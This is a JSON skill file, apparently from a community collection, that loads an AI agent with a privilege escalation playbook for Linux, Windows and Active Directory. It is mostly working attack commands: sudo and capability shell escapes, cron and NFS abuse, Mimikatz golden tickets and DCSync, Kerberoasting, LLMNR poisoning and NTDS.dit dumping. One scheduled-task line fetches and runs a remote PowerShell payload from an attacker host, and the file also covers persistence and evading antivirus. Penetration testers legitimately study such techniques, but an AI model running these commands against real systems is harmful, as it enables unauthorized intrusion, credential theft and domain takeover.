{
  "schema": "https://ai-atoms.com/schemas/skill-v1.json",
  "type": "skill",
  "id": "skill/privilege-escalation-methods",
  "version": "1.0.0",
  "name": "Privilege Escalation Methods",
  "description": "This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"K...",
  "system_prompt_fragment": "# Privilege Escalation Methods\n\n## Purpose\n\nProvide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.\n\n## Inputs/Prerequisites\n\n- Initial low-privilege shell access on target system\n- Kali Linux or penetration testing distribution\n- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus\n- Understanding of Windows/Linux privilege models\n- For AD attacks: Domain user credentials and network access to DC\n\n## Outputs/Deliverables\n\n- Root or Administrator shell access\n- Extracted credentials and hashes\n- Persistent access mechanisms\n- Domain compromise (for AD environments)\n\n---\n\n## Core Techniques\n\n### Linux Privilege Escalation\n\n#### 1. Abusing Sudo Binaries\n\nExploit misconfigured sudo permissions using GTFOBins techniques:\n\n```bash\n# Check sudo permissions\nsudo -l\n\n# Exploit common binaries\nsudo vim -c ':!/bin/bash'\nsudo find /etc/passwd -exec /bin/bash \\;\nsudo awk 'BEGIN {system(\"/bin/bash\")}'\nsudo python -c 'import pty;pty.spawn(\"/bin/bash\")'\nsudo perl -e 'exec \"/bin/bash\";'\nsudo less /etc/hosts    # then type: !bash\nsudo man man            # then type: !bash\nsudo env /bin/bash\n```\n\n#### 2. Abusing Scheduled Tasks (Cron)\n\n```bash\n# Find writable cron scripts\nls -la /etc/cron*\ncat /etc/crontab\n\n# Inject payload into writable script\necho 'chmod +s /bin/bash' > /home/user/systemupdate.sh\nchmod +x /home/user/systemupdate.sh\n\n# Wait for execution, then:\n/bin/bash -p\n```\n\n#### 3. Abusing Capabilities\n\n```bash\n# Find binaries with capabilities\ngetcap -r / 2>/dev/null\n\n# Python with cap_setuid\n/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# Perl with cap_setuid\n/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec \"/bin/bash\";'\n\n# Tar with cap_dac_read_search (read any file)\n/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa\n/usr/bin/tar -xvf key.tar\n```\n\n#### 4. NFS Root Squashing\n\n```bash\n# Check for NFS shares\nshowmount -e <victim_ip>\n\n# Mount and exploit no_root_squash\nmkdir /tmp/mount\nmount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount\ncd /tmp/mount\ncp /bin/bash .\nchmod +s bash\n```\n\n#### 5. MySQL Running as Root\n\n```bash\n# If MySQL runs as root\nmysql -u root -p\n\\! chmod +s /bin/bash\nexit\n/bin/bash -p\n```\n\n---\n\n### Windows Privilege Escalation\n\n#### 1. Token Impersonation\n\n```powershell\n# Using SweetPotato (SeImpersonatePrivilege)\nexecute-assembly sweetpotato.exe -p beacon.exe\n\n# Using SharpImpersonation\nSharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser\n```\n\n#### 2. Service Abuse\n\n```powershell\n# Using PowerUp\n. .\\PowerUp.ps1\nInvoke-ServiceAbuse -Name 'vds' -UserName 'domain\\user1'\nInvoke-ServiceAbuse -Name 'browser' -UserName 'domain\\user1'\n```\n\n#### 3. Abusing SeBackupPrivilege\n\n```powershell\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\nCopy-FileSebackupPrivilege z:\\Windows\\NTDS\\ntds.dit C:\\temp\\ntds.dit\n```\n\n#### 4. Abusing SeLoadDriverPrivilege\n\n```powershell\n# Load vulnerable Capcom driver\n.\\eoploaddriver.exe System\\CurrentControlSet\\MyService C:\\test\\capcom.sys\n.\\ExploitCapcom.exe\n```\n\n#### 5. Abusing GPO\n\n```powershell\n.\\SharpGPOAbuse.exe --AddComputerTask --Taskname \"Update\" `\n  --Author DOMAIN\\<USER> --Command \"cmd.exe\" `\n  --Arguments \"/c net user Administrator Password!@# /domain\" `\n  --GPOName \"ADDITIONAL DC CONFIGURATION\"\n```\n\n---\n\n### Active Directory Attacks\n\n#### 1. Kerberoasting\n\n```bash\n# Using Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request\n\n# Using CrackMapExec\ncrackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt\n```\n\n#### 2. AS-REP Roasting\n\n```powershell\n.\\Rubeus.exe asreproast\n```\n\n#### 3. Golden Ticket\n\n```powershell\n# DCSync to get krbtgt hash\nmimikatz# lsadump::dcsync /user:krbtgt\n\n# Create golden ticket\nmimikatz# kerberos::golden /user:Administrator /domain:domain.local `\n  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500\n```\n\n#### 4. Pass-the-Ticket\n\n```powershell\n.\\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt\nklist  # Verify ticket\n```\n\n#### 5. Golden Ticket with Scheduled Tasks\n\n```powershell\n# 1. Elevate and dump credentials\nmimikatz# token::elevate\nmimikatz# vault::cred /patch\nmimikatz# lsadump::lsa /patch\n\n# 2. Create golden ticket\nmimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `\n  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi\n\n# 3. Create scheduled task\nschtasks /create /S DOMAIN /SC Weekly /RU \"NT Authority\\SYSTEM\" `\n  /TN \"enterprise\" /TR \"powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'\"\nschtasks /run /s DOMAIN /TN \"enterprise\"\n```\n\n---\n\n### Credential Harvesting\n\n#### LLMNR Poisoning\n\n```bash\n# Start Responder\nresponder -I eth1 -v\n\n# Create malicious shortcut (Book.url)\n[InternetShortcut]\nURL=https://facebook.com\nIconIndex=0\nIconFile=\\\\attacker_ip\\not_found.ico\n```\n\n#### NTLM Relay\n\n```bash\nresponder -I eth1 -v\nntlmrelayx.py -tf targets.txt -smb2support\n```\n\n#### Dumping with VSS\n\n```powershell\nvssadmin create shadow /for=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\NTDS.dit C:\\temp\\\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\temp\\\n```\n\n---\n\n## Quick Reference\n\n| Technique | OS | Domain Required | Tool |\n|-----------|-----|-----------------|------|\n| Sudo Binary Abuse | Linux | No | GTFOBins |\n| Cron Job Exploit | Linux | No | Manual |\n| Capability Abuse | Linux | No | getcap |\n| NFS no_root_squash | Linux | No | mount |\n| Token Impersonation | Windows | No | SweetPotato |\n| Service Abuse | Windows | No | PowerUp |\n| Kerberoasting | Windows | Yes | Rubeus/Impacket |\n| AS-REP Roasting | Windows | Yes | Rubeus |\n| Golden Ticket | Windows | Yes | Mimikatz |\n| Pass-the-Ticket | Windows | Yes | Rubeus |\n| DCSync | Windows | Yes | Mimikatz |\n| LLMNR Poisoning | Windows | Yes | Responder |\n\n---\n\n## Constraints\n\n**Must:**\n- Have initial shell access before attempting escalation\n- Verify target OS and environment before selecting technique\n- Use appropriate tool for domain vs local escalation\n\n**Must Not:**\n- Attempt techniques on production systems without authorization\n- Leave persistence mechanisms without client approval\n- Ignore detection mechanisms (EDR, SIEM)\n\n**Should:**\n- Enumerate thoroughly before exploitation\n- Document all successful escalation paths\n- Clean up artifacts after engagement\n\n---\n\n## Examples\n\n### Example 1: Linux Sudo to Root\n\n```bash\n# Check sudo permissions\n$ sudo -l\nUser www-data may run the following commands:\n    (root) NOPASSWD: /usr/bin/vim\n\n# Exploit vim\n$ sudo vim -c ':!/bin/bash'\nroot@target:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: Windows Kerberoasting\n\n```bash\n# Request service tickets\n$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Crack with hashcat\n$ hashcat -m 13100 hashes.txt rockyou.txt\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |\n| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |\n| Kerberoasting returns no hashes | Check for service accounts with SPNs |\n| Token impersonation fails | Verify SeImpersonatePrivilege is present |\n| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |\n\n---\n\n## Additional Resources\n\nFor detailed enumeration scripts, use:\n- **LinPEAS**: Linux privilege escalation enumeration\n- **WinPEAS**: Windows privilege escalation enumeration\n- **BloodHound**: Active Directory attack path mapping\n- **GTFOBins**: Unix binary exploitation reference\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.",
  "applicable_domains": [
    "other"
  ],
  "category": "other",
  "invocation": [
    "/privilege-escalation-methods"
  ],
  "authored_by": "claudeskills.in community",
  "source_url": "https://claudeskills.in/skill/privilege-escalation-methods",
  "provenance": {
    "source": "claudeskills.in",
    "source_url": "https://claudeskills.in/skill/privilege-escalation-methods",
    "license": "unknown",
    "imported_at": "2026-09-03",
    "notes": "Aggregated by claudeskills.in from community GitHub lists."
  },
  "tags": [
    "claudeskills",
    "other"
  ],
  "lifecycle": "draft"
}